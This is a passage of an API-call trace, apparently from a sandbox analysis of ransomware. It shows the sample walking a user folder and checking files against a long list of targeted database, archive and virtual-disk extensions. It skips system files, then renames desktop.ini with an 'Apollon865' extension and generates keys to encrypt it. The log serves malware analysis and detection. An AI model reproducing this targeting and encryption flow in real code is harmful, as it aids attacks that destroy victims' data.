	[0062.768] lstrlenW (lpString="kexic") returned 5
	[0062.768] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0062.768] lstrlenW (lpString="kexis") returned 5
	[0062.768] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0062.768] lstrlenW (lpString="lgc") returned 3
	[0062.768] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0062.768] lstrlenW (lpString="lwx") returned 3
	[0062.768] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0062.768] lstrlenW (lpString="maf") returned 3
	[0062.769] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0062.769] lstrlenW (lpString="maq") returned 3
	[0062.769] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0062.769] lstrlenW (lpString="mar") returned 3
	[0062.769] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0062.769] lstrlenW (lpString="marshal") returned 7
	[0062.769] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0062.769] lstrlenW (lpString="mas") returned 3
	[0062.769] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0062.769] lstrlenW (lpString="mav") returned 3
	[0062.769] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0062.769] lstrlenW (lpString="maw") returned 3
	[0062.769] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0062.769] lstrlenW (lpString="mdbhtml") returned 7
	[0062.769] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0062.769] lstrlenW (lpString="mdn") returned 3
	[0062.769] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0062.769] lstrlenW (lpString="mdt") returned 3
	[0062.769] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0062.769] lstrlenW (lpString="mfd") returned 3
	[0062.769] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0062.769] lstrlenW (lpString="mpd") returned 3
	[0062.769] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0062.769] lstrlenW (lpString="mrg") returned 3
	[0062.769] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0062.769] lstrlenW (lpString="mud") returned 3
	[0062.769] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0062.769] lstrlenW (lpString="mwb") returned 3
	[0062.769] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0062.769] lstrlenW (lpString="myd") returned 3
	[0062.769] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0062.769] lstrlenW (lpString="ndf") returned 3
	[0062.769] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0062.769] lstrlenW (lpString="nnt") returned 3
	[0062.770] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0062.770] lstrlenW (lpString="nrmlib") returned 6
	[0062.770] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0062.770] lstrlenW (lpString="ns2") returned 3
	[0062.770] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0062.770] lstrlenW (lpString="ns3") returned 3
	[0062.770] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0062.770] lstrlenW (lpString="ns4") returned 3
	[0062.770] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0062.770] lstrlenW (lpString="nsf") returned 3
	[0062.770] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0062.770] lstrlenW (lpString="nv") returned 2
	[0062.770] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0062.770] lstrlenW (lpString="nv2") returned 3
	[0062.770] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0062.770] lstrlenW (lpString="nwdb") returned 4
	[0062.770] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0062.770] lstrlenW (lpString="nyf") returned 3
	[0062.770] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0062.770] lstrlenW (lpString="odb") returned 3
	[0062.770] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0062.770] lstrlenW (lpString="odb") returned 3
	[0062.770] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0062.770] lstrlenW (lpString="oqy") returned 3
	[0062.770] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0062.770] lstrlenW (lpString="ora") returned 3
	[0062.770] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0062.770] lstrlenW (lpString="orx") returned 3
	[0062.770] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0062.770] lstrlenW (lpString="owc") returned 3
	[0062.770] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0062.770] lstrlenW (lpString="p96") returned 3
	[0062.770] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0062.770] lstrlenW (lpString="p97") returned 3
	[0062.770] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0062.771] lstrlenW (lpString="pan") returned 3
	[0062.771] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0062.771] lstrlenW (lpString="pdb") returned 3
	[0062.771] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0062.771] lstrlenW (lpString="pdm") returned 3
	[0062.771] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0062.771] lstrlenW (lpString="pnz") returned 3
	[0062.771] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0062.771] lstrlenW (lpString="qry") returned 3
	[0062.771] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0062.771] lstrlenW (lpString="qvd") returned 3
	[0062.771] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0062.771] lstrlenW (lpString="rbf") returned 3
	[0062.771] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0062.771] lstrlenW (lpString="rctd") returned 4
	[0062.771] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0062.771] lstrlenW (lpString="rod") returned 3
	[0062.771] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0062.771] lstrlenW (lpString="rodx") returned 4
	[0062.771] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0062.771] lstrlenW (lpString="rpd") returned 3
	[0062.771] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0062.771] lstrlenW (lpString="rsd") returned 3
	[0062.771] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0062.771] lstrlenW (lpString="sas7bdat") returned 8
	[0062.771] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0062.771] lstrlenW (lpString="sbf") returned 3
	[0062.771] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0062.771] lstrlenW (lpString="scx") returned 3
	[0062.771] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0062.771] lstrlenW (lpString="sdb") returned 3
	[0062.771] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0062.771] lstrlenW (lpString="sdc") returned 3
	[0062.771] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0062.771] lstrlenW (lpString="sdf") returned 3
	[0062.771] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0062.772] lstrlenW (lpString="sis") returned 3
	[0062.772] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0062.772] lstrlenW (lpString="spq") returned 3
	[0062.772] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0062.772] lstrlenW (lpString="te") returned 2
	[0062.772] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0062.772] lstrlenW (lpString="teacher") returned 7
	[0062.772] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0062.772] lstrlenW (lpString="tmd") returned 3
	[0062.772] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0062.772] lstrlenW (lpString="tps") returned 3
	[0062.772] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0062.772] lstrlenW (lpString="trc") returned 3
	[0062.772] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0062.772] lstrlenW (lpString="trc") returned 3
	[0062.772] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0062.772] lstrlenW (lpString="trm") returned 3
	[0062.772] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0062.772] lstrlenW (lpString="udb") returned 3
	[0062.772] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0062.772] lstrlenW (lpString="udl") returned 3
	[0062.772] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0062.772] lstrlenW (lpString="usr") returned 3
	[0062.772] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0062.772] lstrlenW (lpString="v12") returned 3
	[0062.772] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0062.772] lstrlenW (lpString="vis") returned 3
	[0062.772] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0062.772] lstrlenW (lpString="vpd") returned 3
	[0062.772] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0062.772] lstrlenW (lpString="vvv") returned 3
	[0062.772] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0062.772] lstrlenW (lpString="wdb") returned 3
	[0062.772] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0062.772] lstrlenW (lpString="wmdb") returned 4
	[0062.773] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0062.773] lstrlenW (lpString="wrk") returned 3
	[0062.773] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0062.773] lstrlenW (lpString="xdb") returned 3
	[0062.773] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0062.773] lstrlenW (lpString="xld") returned 3
	[0062.773] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0062.773] lstrlenW (lpString="xmlff") returned 5
	[0062.773] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0062.773] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini.Apollon865") returned 84
	[0062.773] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0062.776] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0062.776] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=67) returned 1
	[0062.776] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0062.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0062.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0062.777] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf678) returned 1
	[0062.778] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0062.778] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0062.778] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x154
	[0062.781] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x100000
	[0062.782] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf678) returned 1
	[0062.783] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0062.783] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0062.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0062.783] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0062.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0062.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0062.783] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0062.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0062.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0062.783] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0062.783] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0062.783] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0062.783] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0062.783] CloseHandle (hObject=0x154) returned 1
	[0062.784] CloseHandle (hObject=0x118) returned 1
	[0062.784] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0062.784] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0062.784] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0062.784] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
	[0062.784] lstrcmpiW (lpString1="fwlink[1]", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.784] lstrcmpiW (lpString1="fwlink[1]", lpString2="Apollon865.txt.exe") returned 1
	[0062.784] lstrcmpiW (lpString1="fwlink[1]", lpString2=".") returned 1
	[0062.784] lstrcmpiW (lpString1="fwlink[1]", lpString2="..") returned 1
	[0062.784] lstrcmpiW (lpString1="fwlink[1]", lpString2="windows") returned -1
	[0062.784] lstrcmpiW (lpString1="fwlink[1]", lpString2="bootmgr") returned 1
	[0062.784] lstrcmpiW (lpString1="fwlink[1]", lpString2="temp") returned -1
	[0062.784] lstrcmpiW (lpString1="fwlink[1]", lpString2="pagefile.sys") returned -1
	[0062.784] lstrcmpiW (lpString1="fwlink[1]", lpString2="boot") returned 1
	[0062.784] lstrcmpiW (lpString1="fwlink[1]", lpString2="ids.txt") returned -1
	[0062.784] lstrcmpiW (lpString1="fwlink[1]", lpString2="ntuser.dat") returned -1
	[0062.784] lstrcmpiW (lpString1="fwlink[1]", lpString2="perflogs") returned -1
	[0062.784] lstrcmpiW (lpString1="fwlink[1]", lpString2="MSBuild") returned -1
	[0062.784] lstrlenW (lpString="fwlink[1]") returned 9
	[0062.784] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini") returned 73
	[0062.784] lstrcpyW (in: lpString1=0x119e684, lpString2="fwlink[1]" | out: lpString1="fwlink[1]") returned="fwlink[1]"
	[0062.784] lstrlenW (lpString="fwlink[1]") returned 9
	[0062.784] lstrlenW (lpString="Apollon865") returned 10
	[0062.784] lstrlenW (lpString=".dll") returned 4
	[0062.785] lstrcmpiW (lpString1="fwlink[1]", lpString2=".dll") returned 1
	[0062.785] lstrlenW (lpString=".lnk") returned 4
	[0062.785] lstrcmpiW (lpString1="fwlink[1]", lpString2=".lnk") returned 1
	[0062.785] lstrlenW (lpString=".ini") returned 4
	[0062.785] lstrcmpiW (lpString1="fwlink[1]", lpString2=".ini") returned 1
	[0062.785] lstrlenW (lpString=".sys") returned 4
	[0062.785] lstrcmpiW (lpString1="fwlink[1]", lpString2=".sys") returned 1
	[0062.785] lstrlenW (lpString="fwlink[1]") returned 9
	[0062.785] lstrlenW (lpString="bak") returned 3
	[0062.785] lstrcmpiW (lpString1="[1]", lpString2="bak") returned -1
	[0062.785] lstrlenW (lpString="ba_") returned 3
	[0062.785] lstrcmpiW (lpString1="[1]", lpString2="ba_") returned -1
	[0062.785] lstrlenW (lpString="dbb") returned 3
	[0062.785] lstrcmpiW (lpString1="[1]", lpString2="dbb") returned -1
	[0062.785] lstrlenW (lpString="vmdk") returned 4
	[0062.785] lstrcmpiW (lpString1="k[1]", lpString2="vmdk") returned -1
	[0062.785] lstrlenW (lpString="rar") returned 3
	[0062.785] lstrcmpiW (lpString1="[1]", lpString2="rar") returned -1
	[0062.785] lstrlenW (lpString="zip") returned 3
	[0062.785] lstrcmpiW (lpString1="[1]", lpString2="zip") returned -1
	[0062.785] lstrlenW (lpString="tgz") returned 3
	[0062.785] lstrcmpiW (lpString1="[1]", lpString2="tgz") returned -1
	[0062.785] lstrlenW (lpString="vbox") returned 4
	[0062.785] lstrcmpiW (lpString1="k[1]", lpString2="vbox") returned -1
	[0062.785] lstrlenW (lpString="vdi") returned 3
	[0062.785] lstrcmpiW (lpString1="[1]", lpString2="vdi") returned -1
	[0062.785] lstrlenW (lpString="vhd") returned 3
	[0062.785] lstrcmpiW (lpString1="[1]", lpString2="vhd") returned -1
	[0062.785] lstrlenW (lpString="vhdx") returned 4
	[0062.785] lstrcmpiW (lpString1="k[1]", lpString2="vhdx") returned -1
	[0062.785] lstrlenW (lpString="avhd") returned 4
	[0062.785] lstrcmpiW (lpString1="k[1]", lpString2="avhd") returned 1
	[0062.785] lstrlenW (lpString="db") returned 2
	[0062.785] lstrcmpiW (lpString1="1]", lpString2="db") returned -1
	[0062.786] lstrlenW (lpString="db2") returned 3
	[0062.786] lstrcmpiW (lpString1="[1]", lpString2="db2") returned -1
	[0062.786] lstrlenW (lpString="db3") returned 3
	[0062.786] lstrcmpiW (lpString1="[1]", lpString2="db3") returned -1
	[0062.786] lstrlenW (lpString="dbf") returned 3
	[0062.786] lstrcmpiW (lpString1="[1]", lpString2="dbf") returned -1
	[0062.786] lstrlenW (lpString="mdf") returned 3
	[0062.786] lstrcmpiW (lpString1="[1]", lpString2="mdf") returned -1
	[0062.786] lstrlenW (lpString="mdb") returned 3
	[0062.786] lstrcmpiW (lpString1="[1]", lpString2="mdb") returned -1
	[0062.786] lstrlenW (lpString="sql") returned 3
	[0062.786] lstrcmpiW (lpString1="[1]", lpString2="sql") returned -1
	[0062.786] lstrlenW (lpString="sqlite") returned 6
	[0062.786] lstrcmpiW (lpString1="ink[1]", lpString2="sqlite") returned -1
	[0062.786] lstrlenW (lpString="sqlite3") returned 7
	[0062.786] lstrcmpiW (lpString1="link[1]", lpString2="sqlite3") returned -1
	[0062.786] lstrlenW (lpString="sqlitedb") returned 8
	[0062.786] lstrcmpiW (lpString1="wlink[1]", lpString2="sqlitedb") returned 1
	[0062.786] lstrlenW (lpString="xml") returned 3
	[0062.786] lstrcmpiW (lpString1="[1]", lpString2="xml") returned -1
	[0062.786] lstrlenW (lpString="$er") returned 3
	[0062.786] lstrcmpiW (lpString1="[1]", lpString2="$er") returned 1
	[0062.786] lstrlenW (lpString="4dd") returned 3
	[0062.786] lstrcmpiW (lpString1="[1]", lpString2="4dd") returned -1
	[0062.786] lstrlenW (lpString="4dl") returned 3
	[0062.786] lstrcmpiW (lpString1="[1]", lpString2="4dl") returned -1
	[0062.786] lstrlenW (lpString="^^^") returned 3
	[0062.786] lstrcmpiW (lpString1="[1]", lpString2="^^^") returned -1
	[0062.786] lstrlenW (lpString="abs") returned 3
	[0062.786] lstrcmpiW (lpString1="[1]", lpString2="abs") returned -1
	[0062.786] lstrlenW (lpString="abx") returned 3
	[0062.786] lstrcmpiW (lpString1="[1]", lpString2="abx") returned -1
	[0062.786] lstrlenW (lpString="accdb") returned 5
	[0062.786] lstrcmpiW (lpString1="nk[1]", lpString2="accdb") returned 1
	[0062.787] lstrlenW (lpString="accdc") returned 5
	[0062.787] lstrcmpiW (lpString1="nk[1]", lpString2="accdc") returned 1
	[0062.787] lstrlenW (lpString="accde") returned 5
	[0062.787] lstrcmpiW (lpString1="nk[1]", lpString2="accde") returned 1
	[0062.787] lstrlenW (lpString="accdr") returned 5
	[0062.787] lstrcmpiW (lpString1="nk[1]", lpString2="accdr") returned 1
	[0062.787] lstrlenW (lpString="accdt") returned 5
	[0062.787] lstrcmpiW (lpString1="nk[1]", lpString2="accdt") returned 1
	[0062.787] lstrlenW (lpString="accdw") returned 5
	[0062.787] lstrcmpiW (lpString1="nk[1]", lpString2="accdw") returned 1
	[0062.787] lstrlenW (lpString="accft") returned 5
	[0062.787] lstrcmpiW (lpString1="nk[1]", lpString2="accft") returned 1
	[0062.787] lstrlenW (lpString="adb") returned 3
	[0062.787] lstrcmpiW (lpString1="[1]", lpString2="adb") returned -1
	[0062.787] lstrlenW (lpString="adb") returned 3
	[0062.787] lstrcmpiW (lpString1="[1]", lpString2="adb") returned -1
	[0062.787] lstrlenW (lpString="ade") returned 3
	[0062.787] lstrcmpiW (lpString1="[1]", lpString2="ade") returned -1
	[0062.787] lstrlenW (lpString="adf") returned 3
	[0062.787] lstrcmpiW (lpString1="[1]", lpString2="adf") returned -1
	[0062.787] lstrlenW (lpString="adn") returned 3
	[0062.787] lstrcmpiW (lpString1="[1]", lpString2="adn") returned -1
	[0062.787] lstrlenW (lpString="adp") returned 3
	[0062.787] lstrcmpiW (lpString1="[1]", lpString2="adp") returned -1
	[0062.787] lstrlenW (lpString="alf") returned 3
	[0062.787] lstrcmpiW (lpString1="[1]", lpString2="alf") returned -1
	[0062.787] lstrlenW (lpString="ask") returned 3
	[0062.787] lstrcmpiW (lpString1="[1]", lpString2="ask") returned -1
	[0062.787] lstrlenW (lpString="btr") returned 3
	[0062.787] lstrcmpiW (lpString1="[1]", lpString2="btr") returned -1
	[0062.787] lstrlenW (lpString="cat") returned 3
	[0062.787] lstrcmpiW (lpString1="[1]", lpString2="cat") returned -1
	[0062.787] lstrlenW (lpString="cdb") returned 3
	[0062.787] lstrcmpiW (lpString1="[1]", lpString2="cdb") returned -1
	[0062.787] lstrlenW (lpString="ckp") returned 3
	[0062.788] lstrcmpiW (lpString1="[1]", lpString2="ckp") returned -1
	[0062.788] lstrlenW (lpString="cma") returned 3
	[0062.788] lstrcmpiW (lpString1="[1]", lpString2="cma") returned -1
	[0062.788] lstrlenW (lpString="cpd") returned 3
	[0062.788] lstrcmpiW (lpString1="[1]", lpString2="cpd") returned -1
	[0062.788] lstrlenW (lpString="dacpac") returned 6
	[0062.788] lstrcmpiW (lpString1="ink[1]", lpString2="dacpac") returned 1
	[0062.788] lstrlenW (lpString="dad") returned 3
	[0062.788] lstrcmpiW (lpString1="[1]", lpString2="dad") returned -1
	[0062.788] lstrlenW (lpString="dadiagrams") returned 10
	[0062.788] lstrlenW (lpString="daschema") returned 8
	[0062.788] lstrcmpiW (lpString1="wlink[1]", lpString2="daschema") returned 1
	[0062.788] lstrlenW (lpString="db-journal") returned 10
	[0062.788] lstrlenW (lpString="db-shm") returned 6
	[0062.788] lstrcmpiW (lpString1="ink[1]", lpString2="db-shm") returned 1
	[0062.788] lstrlenW (lpString="db-wal") returned 6
	[0062.788] lstrcmpiW (lpString1="ink[1]", lpString2="db-wal") returned 1
	[0062.788] lstrlenW (lpString="dbc") returned 3
	[0062.788] lstrcmpiW (lpString1="[1]", lpString2="dbc") returned -1
	[0062.788] lstrlenW (lpString="dbs") returned 3
	[0062.788] lstrcmpiW (lpString1="[1]", lpString2="dbs") returned -1
	[0062.788] lstrlenW (lpString="dbt") returned 3
	[0062.788] lstrcmpiW (lpString1="[1]", lpString2="dbt") returned -1
	[0062.788] lstrlenW (lpString="dbv") returned 3
	[0062.788] lstrcmpiW (lpString1="[1]", lpString2="dbv") returned -1
	[0062.788] lstrlenW (lpString="dbx") returned 3
	[0062.788] lstrcmpiW (lpString1="[1]", lpString2="dbx") returned -1
	[0062.788] lstrlenW (lpString="dcb") returned 3
	[0062.788] lstrcmpiW (lpString1="[1]", lpString2="dcb") returned -1
	[0062.788] lstrlenW (lpString="dct") returned 3
	[0062.788] lstrcmpiW (lpString1="[1]", lpString2="dct") returned -1
	[0062.788] lstrlenW (lpString="dcx") returned 3
	[0062.788] lstrcmpiW (lpString1="[1]", lpString2="dcx") returned -1
	[0062.788] lstrlenW (lpString="ddl") returned 3
	[0062.789] lstrcmpiW (lpString1="[1]", lpString2="ddl") returned -1
	[0062.789] lstrlenW (lpString="dlis") returned 4
	[0062.789] lstrcmpiW (lpString1="k[1]", lpString2="dlis") returned 1
	[0062.789] lstrlenW (lpString="dp1") returned 3
	[0062.789] lstrcmpiW (lpString1="[1]", lpString2="dp1") returned -1
	[0062.789] lstrlenW (lpString="dqy") returned 3
	[0062.789] lstrcmpiW (lpString1="[1]", lpString2="dqy") returned -1
	[0062.789] lstrlenW (lpString="dsk") returned 3
	[0062.789] lstrcmpiW (lpString1="[1]", lpString2="dsk") returned -1
	[0062.789] lstrlenW (lpString="dsn") returned 3
	[0062.789] lstrcmpiW (lpString1="[1]", lpString2="dsn") returned -1
	[0062.789] lstrlenW (lpString="dtsx") returned 4
	[0062.789] lstrcmpiW (lpString1="k[1]", lpString2="dtsx") returned 1
	[0062.789] lstrlenW (lpString="dxl") returned 3
	[0062.789] lstrcmpiW (lpString1="[1]", lpString2="dxl") returned -1
	[0062.789] lstrlenW (lpString="eco") returned 3
	[0062.789] lstrcmpiW (lpString1="[1]", lpString2="eco") returned -1
	[0062.789] lstrlenW (lpString="ecx") returned 3
	[0062.789] lstrcmpiW (lpString1="[1]", lpString2="ecx") returned -1
	[0062.789] lstrlenW (lpString="edb") returned 3
	[0062.791] lstrcmpiW (lpString1="[1]", lpString2="edb") returned -1
	[0062.791] lstrlenW (lpString="epim") returned 4
	[0062.791] lstrcmpiW (lpString1="k[1]", lpString2="epim") returned 1
	[0062.791] lstrlenW (lpString="fcd") returned 3
	[0062.791] lstrcmpiW (lpString1="[1]", lpString2="fcd") returned -1
	[0062.791] lstrlenW (lpString="fdb") returned 3
	[0062.791] lstrcmpiW (lpString1="[1]", lpString2="fdb") returned -1
	[0062.791] lstrlenW (lpString="fic") returned 3
	[0062.791] lstrcmpiW (lpString1="[1]", lpString2="fic") returned -1
	[0062.791] lstrlenW (lpString="flexolibrary") returned 12
	[0062.791] lstrlenW (lpString="fm5") returned 3
	[0062.791] lstrcmpiW (lpString1="[1]", lpString2="fm5") returned -1
	[0062.791] lstrlenW (lpString="fmp") returned 3
	[0062.791] lstrcmpiW (lpString1="[1]", lpString2="fmp") returned -1
	[0062.791] lstrlenW (lpString="fmp12") returned 5
	[0062.791] lstrcmpiW (lpString1="nk[1]", lpString2="fmp12") returned 1
	[0062.791] lstrlenW (lpString="fmpsl") returned 5
	[0062.791] lstrcmpiW (lpString1="nk[1]", lpString2="fmpsl") returned 1
	[0062.791] lstrlenW (lpString="fol") returned 3
	[0062.791] lstrcmpiW (lpString1="[1]", lpString2="fol") returned -1
	[0062.791] lstrlenW (lpString="fp3") returned 3
	[0062.791] lstrcmpiW (lpString1="[1]", lpString2="fp3") returned -1
	[0062.791] lstrlenW (lpString="fp4") returned 3
	[0062.791] lstrcmpiW (lpString1="[1]", lpString2="fp4") returned -1
	[0062.791] lstrlenW (lpString="fp5") returned 3
	[0062.791] lstrcmpiW (lpString1="[1]", lpString2="fp5") returned -1
	[0062.791] lstrlenW (lpString="fp7") returned 3
	[0062.792] lstrcmpiW (lpString1="[1]", lpString2="fp7") returned -1
	[0062.792] lstrlenW (lpString="fpt") returned 3
	[0062.792] lstrcmpiW (lpString1="[1]", lpString2="fpt") returned -1
	[0062.792] lstrlenW (lpString="frm") returned 3
	[0062.792] lstrcmpiW (lpString1="[1]", lpString2="frm") returned -1
	[0062.792] lstrlenW (lpString="gdb") returned 3
	[0062.792] lstrcmpiW (lpString1="[1]", lpString2="gdb") returned -1
	[0062.792] lstrlenW (lpString="gdb") returned 3
